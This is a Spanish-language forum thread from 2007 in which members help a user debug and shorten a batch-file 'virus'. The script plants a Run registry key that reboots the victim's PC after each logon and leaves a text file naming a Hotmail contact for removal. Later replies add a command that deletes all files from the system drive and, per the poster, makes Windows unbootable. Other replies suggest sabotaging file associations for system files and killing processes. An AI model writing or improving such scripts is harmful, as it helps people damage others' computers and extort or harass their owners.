Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: .Undertaker. en 20 Agosto 2007, 19:12 pm



Título: Codigo-Batch
Publicado por: .Undertaker. en 20 Agosto 2007, 19:12 pm
Este codigo es correcto??

Código:
@echo off
REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d shutdown -r -t 200
cd "C:\%homedrive%%homepath%\escritorio"
md "ENTRA AQUI"
cd "%USERPROFILE%\Escritorio\ENTRA AQUI"
echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>> solucion.txt
cls
exit


Título: Re: Codigo-Batch
Publicado por: b01n4v3rt en 20 Agosto 2007, 19:26 pm
cd "C:\%homedrive%%homepath%\escritorio"

¿? o no entiendo de esto, o no me ha quedado claro, pero no se lo que es eso.

usa el que usaste despues en vez de eso:

cd "%USERPROFILE%\Escritorio"

echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>>solucion.txt

la barra >> solo tiene que haber >, porque > es para crear el archivo,
pero >> es para añadir al archivo.

Sería:

Citar
@echo off
REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d shutdown -r -t 200
cd "%USERPROFILE%\Escritorio"
md "ENTRA AQUI"
cd "ENTRA AQUI"
echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>solucion.txt
cls
exit

P.D: en vez de crear un txt y esa movida, puedes usar el comando msg
       para que le aparezca una ventana con un mensaje:

              msg %username% loquequierasponerle


Título: Re: Codigo-Batch
Publicado por: .Undertaker. en 20 Agosto 2007, 19:43 pm
cd "C:\%homedrive%%homepath%\escritorio"

->esto kiere decir k cd redirecciona al escritorio d cualkier usuario en su pc.



Título: Re: Codigo-Batch
Publicado por: b01n4v3rt en 20 Agosto 2007, 19:52 pm
si... bueno... :

(http://img123.imageshack.us/img123/4589/dibujojn0.jpg)
http://img123.imageshack.us/img123/4589/dibujojn0.jpg


Ya te expliqué como lo has de usar, y usa

cd "%USERPROFILE%\Escritorio"

en vez de esto que no existe:

cd "C:\%homedrive%%homepath%\escritorio"


Título: Re: Codigo-Batch
Publicado por: b01n4v3rt en 20 Agosto 2007, 20:02 pm
oh, ya encontré tu fallo, vale:

cd "C:\%homedrive%%homepath%\escritorio"


quitas el C:\


y en vez de lo otro pones:


%homedrive%  (va a la unidad en la q está instalada windows)
cd "%homepath%\escritorio" (va a Documents and settings/user/escritorio)

tienes que hacerlo en 2 líneas porque la primera te mueve a esa unidad,
y la segunda te mueve a esa carpeta, no te permite hacer las 2 cosas a la vez.

(hombre tambien puedes unir los comandos con &&)
%homedrive%&&%cd "homepath%\escritorio"


Título: Re: Codigo-Batch
Publicado por: .Undertaker. en 20 Agosto 2007, 20:37 pm
EL codigo final seria este?¿?¿?

Código:
@echo off
REG ADD HKLM\Software\Microsoft\Windows\CurrrentVersion\Run /v ApagarPC /t REG_SZ /d shutdown -r -t 200
%homedrive%&&%cd "%USERPROFILE%\Escritorio\"
md "ENTRA AQUI"
cd "%USERPROFILE%\Escritorio\ENTRA AQUI"
echo Ola,acabas d instalar a un virus en tu pc,si quieresquitarlo facilmente agreaga a usuario@hotmail.com>> solucion.txt
cls
exit


Título: Re: Codigo-Batch
Publicado por: b01n4v3rt en 20 Agosto 2007, 22:49 pm
mmm juraría que sí xD, compruebalo en tu pc ^_^ xD

sabes que con shutdown -a se suspende el apagado no? xAo


Título: Re: Codigo-Batch
Publicado por: GroK en 20 Agosto 2007, 23:03 pm
Código
  1. @echo off
  2. reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v ApagarPC /t REG_SZ /d "shutdown -r -t 200"
  3. md "%userprofile%\Escritorio\ENTRA AQUI"
  4. echo Ola, acabas d instalar un virus en tu pc, si quieres quitarlo facilmente agrega a usuario@hotmail.com > "%userprofile%\Escritorio\ENTRA AQUI\solucion.txt"
  5.  

Hala, en 4 lineas y sin tanto lio. Saludos


Título: Re: Codigo-Batch
Publicado por: Littlehorse en 20 Agosto 2007, 23:28 pm
No es mejor con esto? :

Código:
msg %username% y aca el mensaje?


Título: Re: Codigo-Batch
Publicado por: GroK en 20 Agosto 2007, 23:32 pm
Mejor aun:

Código
  1. msg * mensaje

Puede que si sea mejor, depende de lo que quiera. Tambien se puede hacer un start "%userprofile%\Escritorio\ENTRA AQUI\solucion.txt" para que salte bien a la vista xD

Saludos


Título: Re: Codigo-Batch
Publicado por: .Undertaker. en 21 Agosto 2007, 00:00 am
Sk keria liarlo...jejeje.... i lo d -a..mmmm.... ya lo sabia...pero eso....prefiero -r -t 60 XD

y otra cosa....
k significa esto¿?¿?

Citar
erase/del C:\windows\q

Borra el sistema operativo¿?? i lo d q se k es para sacar la confirmacion...


Título: Re: Codigo-Batch
Publicado por: GroK en 21 Agosto 2007, 01:02 am
Y lo d -a..mmmm.... ya lo sabia...pero eso....prefiero -r -t 60

Son dos cosas distintas, shutdown -a sirve para anular el proceso de apagado llamado con shutdown [-L | -R] [-t XX]

k significa esto¿?¿?
Citar
erase/del C:\windows\q

Eso no sirve para nada, aparte de que esta mal escrito. El comando del (o erase, que al fin y al cabo sirven para lo mismo) sirve para eliminar archivos, pero esto no lo puedes aplicar a los archivos del sistema, ya que estan protegidos por Windows. Asi que nada de formateo barato.

Saludos



Título: Re: Codigo-Batch
Publicado por: b01n4v3rt en 21 Agosto 2007, 01:29 am
Citar
los archivos del sistema, ya que estan protegidos por Windows.
???

que yo sepa simplemente el hacer  %homedrive%&&cd \&&del *.* /F /S /Q /A

se carga to (exceptuando los procesos que estén corriendo claro está)

y quizás tengas razón de que algunos procesos de la carpeta windows los
proteja y vuelva a restaurar inmediatamente el sistema;
pero lo que si se, es que cuando corres ese comando, y se carga el archivo
ntldr, o el boot.ini, u otro más de la raíz del disco (no recuerdo cual era),
el sistema no arrancará hasta que sea reparado.

(al arrancar pide el archivo según cual sea, y hay uno que si lo borrabas,
al arrancar se reiniciaba directamente sin dar mensaje de error alguno despues
de cargar la bios)

Lo se porque he estado haciendo muchas pruebas hace cosa de un año
con vmware y lo he visto con mis ojos.

Lo recomiendo si queréis probar vuestros bichos, y buscar sus fallos,
instalais el vmware, meteis un xp, y lo clonáis un par de veces, cuando
jodáis un xp tenéis la copia del otro asín que podéis seguir clonando y haciendo
pruebas.


Título: Re: Codigo-Batch
Publicado por: .Undertaker. en 23 Septiembre 2007, 13:32 pm
En vez de usar del...mejor usar "assoc"

ejemplo:
Citar
assoc config.sys=.mmm

o

assoc *.dll=.uuu

Y para eliminar procesos usamos "taskkill"